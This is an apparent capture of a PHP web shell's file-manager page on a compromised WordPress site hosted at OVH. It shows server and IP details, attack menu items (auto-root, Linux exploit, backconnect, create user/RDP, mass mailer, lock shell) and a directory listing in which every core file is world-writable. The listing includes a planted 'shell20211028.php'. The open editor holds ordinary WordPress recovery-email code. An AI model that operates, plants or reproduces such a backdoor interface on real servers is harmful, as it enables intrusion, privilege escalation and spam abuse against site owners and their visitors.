Linux webd132.cluster028.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.28.40.121 | : 18.222.119.105
Cant Read [ /etc/named.conf ]
7.4.33
binzoev
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
binzoev /
penisolasorrentinanews /
sdefae /
[ HOME SHELL ]
Name
Size
Permission
Action
ID3
[ DIR ]
drwxrwxrwx
IXR
[ DIR ]
drwxrwxrwx
PHPMailer
[ DIR ]
drwxrwxrwx
Requests
[ DIR ]
drwxrwxrwx
SimplePie
[ DIR ]
drwxrwxrwx
Text
[ DIR ]
drwxrwxrwx
assets
[ DIR ]
drwxrwxrwx
block-patterns
[ DIR ]
drwxrwxrwx
blocks
[ DIR ]
drwxrwxrwx
certificates
[ DIR ]
drwxrwxrwx
css
[ DIR ]
drwxrwxrwx
customize
[ DIR ]
drwxrwxrwx
fonts
[ DIR ]
drwxrwxrwx
images
[ DIR ]
drwxrwxrwx
js
[ DIR ]
drwxrwxrwx
pomo
[ DIR ]
drwxrwxrwx
random_compat
[ DIR ]
drwxrwxrwx
rest-api
[ DIR ]
drwxrwxrwx
sitemaps
[ DIR ]
drwxrwxrwx
sodium_compat
[ DIR ]
drwxrwxrwx
theme-compat
[ DIR ]
drwxrwxrwx
widgets
[ DIR ]
drwxrwxrwx
admin-bar.php
30.96
KB
-rwxrwxrwx
atomlib.php
11.59
KB
-rwxrwxrwx
author-template.php
16.62
KB
-rwxrwxrwx
block-patterns.php
1.42
KB
-rwxrwxrwx
blocks.php
25.26
KB
-rwxrwxrwx
bookmark-template.php
12.22
KB
-rwxrwxrwx
bookmark.php
14.79
KB
-rwxrwxrwx
cache-compat.php
1.02
KB
-rwxrwxrwx
cache.php
9.28
KB
-rwxrwxrwx
canonical.php
30.65
KB
-rwxrwxrwx
capabilities.php
33.98
KB
-rwxrwxrwx
category-template.php
53.63
KB
-rwxrwxrwx
category.php
12.41
KB
-rwxrwxrwx
class-IXR.php
2.48
KB
-rwxrwxrwx
class-feed.php
529
B
-rwxrwxrwx
class-http.php
38.79
KB
-rwxrwxrwx
class-json.php
42.43
KB
-rwxrwxrwx
class-oembed.php
407
B
-rwxrwxrwx
class-phpass.php
7.15
KB
-rwxrwxrwx
class-phpmailer.php
664
B
-rwxrwxrwx
class-pop3.php
20.35
KB
-rwxrwxrwx
class-requests.php
29.14
KB
-rwxrwxrwx
class-simplepie.php
94.01
KB
-rwxrwxrwx
class-smtp.php
452
B
-rwxrwxrwx
class-snoopy.php
36.83
KB
-rwxrwxrwx
class-walker-category-dropdown...
2.08
KB
-rwxrwxrwx
class-walker-category.php
7.69
KB
-rwxrwxrwx
class-walker-comment.php
13.37
KB
-rwxrwxrwx
class-walker-nav-menu.php
8.45
KB
-rwxrwxrwx
class-walker-page-dropdown.php
2.25
KB
-rwxrwxrwx
class-walker-page.php
6.88
KB
-rwxrwxrwx
class-wp-admin-bar.php
16.46
KB
-rwxrwxrwx
class-wp-ajax-response.php
5.12
KB
-rwxrwxrwx
class-wp-block-list.php
4.37
KB
-rwxrwxrwx
class-wp-block-parser.php
14.86
KB
-rwxrwxrwx
class-wp-block-pattern-categor...
4.08
KB
-rwxrwxrwx
class-wp-block-patterns-regist...
4.37
KB
-rwxrwxrwx
class-wp-block-styles-registry...
4.62
KB
-rwxrwxrwx
class-wp-block-type-registry.p...
4.69
KB
-rwxrwxrwx
class-wp-block-type.php
5.88
KB
-rwxrwxrwx
class-wp-block.php
5.97
KB
-rwxrwxrwx
class-wp-comment-query.php
43.58
KB
-rwxrwxrwx
class-wp-comment.php
8.83
KB
-rwxrwxrwx
class-wp-customize-control.php
24.91
KB
-rwxrwxrwx
class-wp-customize-manager.php
196.37
KB
-rwxrwxrwx
class-wp-customize-nav-menus.p...
55.47
KB
-rwxrwxrwx
class-wp-customize-panel.php
10.16
KB
-rwxrwxrwx
class-wp-customize-section.php
10.72
KB
-rwxrwxrwx
class-wp-customize-setting.php
29.03
KB
-rwxrwxrwx
class-wp-customize-widgets.php
65.46
KB
-rwxrwxrwx
class-wp-date-query.php
34.51
KB
-rwxrwxrwx
class-wp-dependency.php
2.45
KB
-rwxrwxrwx
class-wp-editor.php
68.93
KB
-rwxrwxrwx
class-wp-embed.php
15.42
KB
-rwxrwxrwx
class-wp-error.php
4.84
KB
-rwxrwxrwx
class-wp-fatal-error-handler.p...
7.37
KB
-rwxrwxrwx
class-wp-feed-cache-transient....
2.5
KB
-rwxrwxrwx
class-wp-feed-cache.php
749
B
-rwxrwxrwx
class-wp-hook.php
13.72
KB
-rwxrwxrwx
class-wp-http-cookie.php
7.02
KB
-rwxrwxrwx
class-wp-http-curl.php
12.06
KB
-rwxrwxrwx
class-wp-http-encoding.php
6.4
KB
-rwxrwxrwx
class-wp-http-ixr-client.php
3.39
KB
-rwxrwxrwx
class-wp-http-proxy.php
5.73
KB
-rwxrwxrwx
class-wp-http-requests-hooks.p...
1.92
KB
-rwxrwxrwx
class-wp-http-requests-respons...
4.24
KB
-rwxrwxrwx
class-wp-http-response.php
2.88
KB
-rwxrwxrwx
class-wp-http-streams.php
15.73
KB
-rwxrwxrwx
class-wp-image-editor-gd.php
13.81
KB
-rwxrwxrwx
class-wp-image-editor-imagick....
23.32
KB
-rwxrwxrwx
class-wp-image-editor.php
14.21
KB
-rwxrwxrwx
class-wp-list-util.php
6.46
KB
-rwxrwxrwx
class-wp-locale-switcher.php
4.9
KB
-rwxrwxrwx
class-wp-locale.php
13.59
KB
-rwxrwxrwx
class-wp-matchesmapregex.php
1.76
KB
-rwxrwxrwx
class-wp-meta-query.php
27.22
KB
-rwxrwxrwx
class-wp-metadata-lazyloader.p...
5.26
KB
-rwxrwxrwx
class-wp-network-query.php
17.94
KB
-rwxrwxrwx
class-wp-network.php
12.09
KB
-rwxrwxrwx
class-wp-object-cache.php
13.22
KB
-rwxrwxrwx
class-wp-oembed-controller.php
6.63
KB
-rwxrwxrwx
class-wp-oembed.php
28.31
KB
-rwxrwxrwx
class-wp-paused-extensions-sto...
4.81
KB
-rwxrwxrwx
class-wp-post-type.php
19.08
KB
-rwxrwxrwx
class-wp-post.php
6.29
KB
-rwxrwxrwx
class-wp-query.php
131.8
KB
-rwxrwxrwx
class-wp-recovery-mode-cookie-...
6.31
KB
-rwxrwxrwx
class-wp-recovery-mode-email-s...
9.89
KB
-rwxrwxrwx
class-wp-recovery-mode-key-ser...
4.17
KB
-rwxrwxrwx
class-wp-recovery-mode-link-se...
3.29
KB
-rwxrwxrwx
class-wp-recovery-mode.php
11.11
KB
-rwxrwxrwx
class-wp-rewrite.php
59.42
KB
-rwxrwxrwx
class-wp-role.php
2.44
KB
-rwxrwxrwx
class-wp-roles.php
8.23
KB
-rwxrwxrwx
class-wp-session-tokens.php
7.26
KB
-rwxrwxrwx
class-wp-simplepie-file.php
2.27
KB
-rwxrwxrwx
class-wp-simplepie-sanitize-ks...
1.73
KB
-rwxrwxrwx
class-wp-site-query.php
27.88
KB
-rwxrwxrwx
class-wp-site.php
7.19
KB
-rwxrwxrwx
class-wp-tax-query.php
18.98
KB
-rwxrwxrwx
class-wp-taxonomy.php
12.28
KB
-rwxrwxrwx
class-wp-term-query.php
35.32
KB
-rwxrwxrwx
class-wp-term.php
5.14
KB
-rwxrwxrwx
class-wp-text-diff-renderer-in...
716
B
-rwxrwxrwx
class-wp-text-diff-renderer-ta...
16.48
KB
-rwxrwxrwx
class-wp-theme.php
49.53
KB
-rwxrwxrwx
class-wp-user-meta-session-tok...
2.92
KB
-rwxrwxrwx
class-wp-user-query.php
30.62
KB
-rwxrwxrwx
class-wp-user-request.php
2.14
KB
-rwxrwxrwx
class-wp-user.php
21.63
KB
-rwxrwxrwx
class-wp-walker.php
12.42
KB
-rwxrwxrwx
class-wp-widget-factory.php
2.56
KB
-rwxrwxrwx
class-wp-widget.php
17.49
KB
-rwxrwxrwx
class-wp-xmlrpc-server.php
205.52
KB
-rwxrwxrwx
class-wp.php
24.45
KB
-rwxrwxrwx
class.wp-dependencies.php
12.57
KB
-rwxrwxrwx
class.wp-scripts.php
18.04
KB
-rwxrwxrwx
class.wp-styles.php
10.62
KB
-rwxrwxrwx
comment-template.php
91.85
KB
-rwxrwxrwx
comment.php
122.66
KB
-rwxrwxrwx
compat.php
11.46
KB
-rwxrwxrwx
cron.php
16.72
KB
-rwxrwxrwx
date.php
406
B
-rwxrwxrwx
default-constants.php
10.02
KB
-rwxrwxrwx
default-filters.php
26.14
KB
-rwxrwxrwx
default-widgets.php
2.07
KB
-rwxrwxrwx
deprecated.php
118.65
KB
-rwxrwxrwx
embed-template.php
341
B
-rwxrwxrwx
embed.php
46.43
KB
-rwxrwxrwx
error-protection.php
3.3
KB
-rwxrwxrwx
feed-atom-comments.php
5.32
KB
-rwxrwxrwx
feed-atom.php
3.03
KB
-rwxrwxrwx
feed-rdf.php
2.61
KB
-rwxrwxrwx
feed-rss.php
1.16
KB
-rwxrwxrwx
feed-rss2-comments.php
3.97
KB
-rwxrwxrwx
feed-rss2.php
3.71
KB
-rwxrwxrwx
feed.php
22.12
KB
-rwxrwxrwx
formatting.php
303.86
KB
-rwxrwxrwx
functions.php
255.24
KB
-rwxrwxrwx
functions.wp-scripts.php
13.07
KB
-rwxrwxrwx
functions.wp-styles.php
8.11
KB
-rwxrwxrwx
general-template.php
153.99
KB
-rwxrwxrwx
http.php
21.86
KB
-rwxrwxrwx
kses.php
61.88
KB
-rwxrwxrwx
l10n.php
55.25
KB
-rwxrwxrwx
link-template.php
141.46
KB
-rwxrwxrwx
load.php
46.03
KB
-rwxrwxrwx
locale.php
162
B
-rwxrwxrwx
media-template.php
57.29
KB
-rwxrwxrwx
media.php
158.53
KB
-rwxrwxrwx
meta.php
58.4
KB
-rwxrwxrwx
ms-blogs.php
24.58
KB
-rwxrwxrwx
ms-default-constants.php
4.6
KB
-rwxrwxrwx
ms-default-filters.php
6.34
KB
-rwxrwxrwx
ms-deprecated.php
20.63
KB
-rwxrwxrwx
ms-files.php
2.58
KB
-rwxrwxrwx
ms-functions.php
88.26
KB
-rwxrwxrwx
ms-load.php
19.36
KB
-rwxrwxrwx
ms-network.php
3.57
KB
-rwxrwxrwx
ms-settings.php
4.03
KB
-rwxrwxrwx
ms-site.php
42.51
KB
-rwxrwxrwx
nav-menu-template.php
22.75
KB
-rwxrwxrwx
nav-menu.php
42.42
KB
-rwxrwxrwx
option.php
72.65
KB
-rwxrwxrwx
pluggable-deprecated.php
6.12
KB
-rwxrwxrwx
pluggable.php
90.3
KB
-rwxrwxrwx
plugin.php
36.96
KB
-rwxrwxrwx
post-formats.php
6.91
KB
-rwxrwxrwx
post-template.php
62.05
KB
-rwxrwxrwx
post-thumbnail-template.php
9
KB
-rwxrwxrwx
post.php
245.87
KB
-rwxrwxrwx
query.php
37.02
KB
-rwxrwxrwx
registration-functions.php
202
B
-rwxrwxrwx
registration.php
202
B
-rwxrwxrwx
rest-api.php
65.77
KB
-rwxrwxrwx
revision.php
21.46
KB
-rwxrwxrwx
rewrite.php
17.65
KB
-rwxrwxrwx
rss-functions.php
211
B
-rwxrwxrwx
rss.php
22.44
KB
-rwxrwxrwx
script-loader.php
89.87
KB
-rwxrwxrwx
session.php
258
B
-rwxrwxrwx
shell20211028.php
38.32
KB
-rwxrwxrwx
shortcodes.php
20.91
KB
-rwxrwxrwx
sitemaps.php
3.16
KB
-rwxrwxrwx
spl-autoload-compat.php
443
B
-rwxrwxrwx
taxonomy.php
158.32
KB
-rwxrwxrwx
template-loader.php
3.05
KB
-rwxrwxrwx
template.php
22.68
KB
-rwxrwxrwx
theme.php
120.92
KB
-rwxrwxrwx
update.php
25.57
KB
-rwxrwxrwx
user.php
129.65
KB
-rwxrwxrwx
vars.php
5.68
KB
-rwxrwxrwx
version.php
767
B
-rwxrwxrwx
widgets.php
59.29
KB
-rwxrwxrwx
wlwmanifest.xml
1.02
KB
-rwxrwxrwx
wp-db.php
103.12
KB
-rwxrwxrwx
wp-diff.php
647
B
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-recovery-mode-email-service.php
<?php /** * Error Protection API: WP_Recovery_Mode_Email_Link class * * @package WordPress * @since 5.2.0 */ /** * Core class used to send an email with a link to begin Recovery Mode. * * @since 5.2.0 */ final class WP_Recovery_Mode_Email_Service { const RATE_LIMIT_OPTION = 'recovery_mode_email_last_sent'; /** * Service to generate recovery mode URLs. * * @since 5.2.0 * @var WP_Recovery_Mode_Link_Service */ private $link_service; /** * WP_Recovery_Mode_Email_Service constructor. * * @since 5.2.0 * * @param WP_Recovery_Mode_Link_Service $link_service */ public function __construct( WP_Recovery_Mode_Link_Service $link_service ) { $this->link_service = $link_service; } /** * Sends the recovery mode email if the rate limit has not been sent. * * @since 5.2.0 * * @param int $rate_limit Number of seconds before another email can be sent. * @param array $error Error details from {@see error_get_last()} * @param array $extension { * The extension that caused the error. * * @type string $slug The extension slug. The plugin or theme's directory. * @type string $type The extension type. Either 'plugin' or 'theme'. * } * @return true|WP_Error True if email sent, WP_Error otherwise. */ public function maybe_send_recovery_mode_email( $rate_limit, $error, $extension ) { $last_sent = get_option( self::RATE_LIMIT_OPTION ); if ( ! $last_sent || time() > $last_sent + $rate_limit ) { if ( ! update_option( self::RATE_LIMIT_OPTION, time() ) ) { return new WP_Error( 'storage_error', __( 'Could not update the email last sent time.' ) ); } $sent = $this->send_recovery_mode_email( $rate_limit, $error, $extension ); if ( $sent ) { return true; } return new WP_Error( 'email_failed', sprintf( /* translators: %s: mail() */ __( 'The email could not be sent. Possible reason: your host may have disabled the %s function.' ), 'mail()' ) ); } $err_message = sprintf( /* translators: 1. Last sent as a human time diff, 2. Wait time as a human time diff. */ __( 'A recovery link was already sent %1$s ago. Please wait another %2$s before requesting a new email.' ), human_time_diff( $last_sent ), human_time_diff( $last_sent + $rate_limit ) ); return new WP_Error( 'email_sent_already', $err_message ); } /** * Clears the rate limit, allowing a new recovery mode email to be sent immediately. * * @since 5.2.0 * * @return bool True on success, false on failure. */ public function clear_rate_limit() { return delete_option( self::RATE_LIMIT_OPTION ); } /** * Sends the Recovery Mode email to the site admin email address. * * @since 5.2.0 * * @param int $rate_limit Number of seconds before another email can be sent. * @param array $error Error details from {@see error_get_last()} * @param array $extension Extension that caused the error. * @return bool Whether the email was sent successfully. */ private function send_recovery_mode_email( $rate_limit, $error, $extension ) { $url = $this->link_service->generate_url(); $blogname = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ); $switched_locale = false; // The switch_to_locale() function is loaded before it can actually be used. if ( function_exists( 'switch_to_locale' ) && isset( $GLOBALS['wp_locale_switcher'] ) ) { $switched_locale = switch_to_locale( get_locale() ); } if ( $extension ) { $cause = $this->get_cause( $extension ); $details = wp_strip_all_tags( wp_get_extension_error_description( $error ) ); if ( $details ) { $header = __( 'Error Details' ); $details = "\n\n" . $header . "\n" . str_pad( '', strlen( $header ), '=' ) . "\n" . $details; } } else { $cause = ''; $details = ''; } /** * Filters the support message sent with the the fatal error protection email. * * @since 5.2.0 * * @param string $message The Message to include in the email. */ $support = apply_filters( 'recovery_email_support_info', __( 'Please contact your host for assistance with investigating this issue further.' ) ); /** * Filters the debug information included in the fatal error protection email. * * @since 5.3.0 * * @param array $message An associative array of debug information. */ $debug = apply_filters( 'recovery_email_debug_info', $this->get_debug( $extension ) ); /* translators: Do not translate LINK, EXPIRES, CAUSE, DETAILS, SITEURL, PAGEURL, SUPPORT. DEBUG: those are placeholders. */ $message = __( 'Howdy! Since WordPress 5.2 there is a built-in feature that detects when a plugin or theme causes a fatal error on your site, and notifies you with this automated email. ###CAUSE### First, visit your website (###SITEURL###) and check for any visible issues. Next, visit the page where the error was caught (###PAGEURL###) and check for any visible issues. ###SUPPORT### If your site appears broken and you can\'t access your dashboard normally, WordPress now has a special "recovery mode". This lets you safely login to your dashboard and investigate further. ###LINK### To keep your site safe, this link will expire in ###EXPIRES###. Don\'t worry about that, though: a new link will be emailed to you if the error occurs again after it expires. When seeking help with this issue, you may be asked for some of the following information: ###DEBUG### ###DETAILS###' ); $message = str_replace( array( '###LINK###', '###EXPIRES###', '###CAUSE###', '###DETAILS###', '###SITEURL###', '###PAGEURL###', '###SUPPORT###', '###DEBUG###', ), array( $url, human_time_diff( time() + $rate_limit ), $cause ? "\n{$cause}\n" : "\n", $details, home_url( '/' ), home_url( $_SERVER['REQUEST_URI'] ), $support, implode( "\r\n", $debug ), ), $message ); $email = array( 'to' => $this->get_recovery_mode_email_address(), /* translators: %s: Site title. */ 'subject' => __( '[%s] Your Site is Experiencing a Technical Issue' ), 'message' => $message, 'headers' => '', ); /** * Filter the contents of the Recovery Mode email. * * @since 5.2.0 * * @param array $email Used to build wp_mail(). * @param string $url URL to enter recovery mode. */ $email = apply_filters( 'recovery_mode_email', $email, $url ); $sent = wp_mail( $email['to'], wp_specialchars_decode( sprintf( $email['subject'], $blogname ) ), $email['message'], $email['headers'] ); if ( $switched_locale ) { restore_previous_locale(); } return $sent; } /** * Gets the email address to send the recovery mode link to. * * @since 5.2.0 * * @return string Email address to send recovery mode link to. */ private function get_recovery_mode_email_address() { if ( defined( 'RECOVERY_MODE_EMAIL' ) && is_email( RECOVERY_MODE_EMAIL ) ) { return RECOVERY_MODE_EMAIL; } return get_option( 'admin_email' ); } /** * Gets the description indicating the possible cause for the error. * * @since 5.2.0 * * @param array $extension The extension that caused the error. * @return string Message about which extension caused the error. */ private function get_cause( $extension ) { if ( 'plugin' === $extension['type'] ) { $plugin = $this->get_plugin( $extension ); if ( false === $plugin ) { $name = $extension['slug']; } else { $name = $plugin['Name']; } /* translators: %s: Plugin name. */ $cause = sprintf( __( 'In this case, WordPress caught an error with one of your plugins, %s.' ), $name ); } else { $theme = wp_get_theme( $extension['slug'] ); $name = $theme->exists() ? $theme->display( 'Name' ) : $extension['slug']; /* translators: %s: Theme name. */ $cause = sprintf( __( 'In this case, WordPress caught an error with your theme, %s.' ), $name ); } return $cause; } /** * Return the details for a single plugin based on the extension data from an error. * * @since 5.3.0 * * @param array $extension The extension that caused the error. * @return bool|array A plugin array {@see get_plugins()} or `false` if no plugin was found. */ private function get_plugin( $extension ) { if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } $plugins = get_plugins(); // Assume plugin main file name first since it is a common convention. if ( isset( $plugins[ "{$extension['slug']}/{$extension['slug']}.php" ] ) ) { return $plugins[ "{$extension['slug']}/{$extension['slug']}.php" ]; } else { foreach ( $plugins as $file => $plugin_data ) { if ( 0 === strpos( $file, "{$extension['slug']}/" ) || $file === $extension['slug'] ) { return $plugin_data; } } } return false; } /** * Return debug information in an easy to manipulate format. * * @since 5.3.0 * * @param array $extension The extension that caused the error. * @return array An associative array of debug information. */ private function get_debug( $extension ) { $theme = wp_get_theme(); $wp_version = get_bloginfo( 'version' ); if ( $extension ) { $plugin = $this->get_plugin( $extension ); } else { $plugin = null; } $debug = array( /* translators: %s: Current WordPress version number. */ 'wp' => sprintf( __( 'WordPress version %s' ), $wp_version ), 'theme' => sprintf( /* translators: 1: Current active theme name. 2: Current active theme version. */ __( 'Current theme: %1$s (version %2$s)' ), $theme->get( 'Name' ), $theme->get( 'Version' ) ), ); if ( null !== $plugin ) { $debug['plugin'] = sprintf( /* translators: 1: The failing plugins name. 2: The failing plugins version. */ __( 'Current plugin: %1$s (version %2$s)' ), $plugin['Name'], $plugin['Version'] ); } $debug['php'] = sprintf( /* translators: %s: The currently used PHP version. */ __( 'PHP version %s' ), PHP_VERSION ); return $debug; } }
Close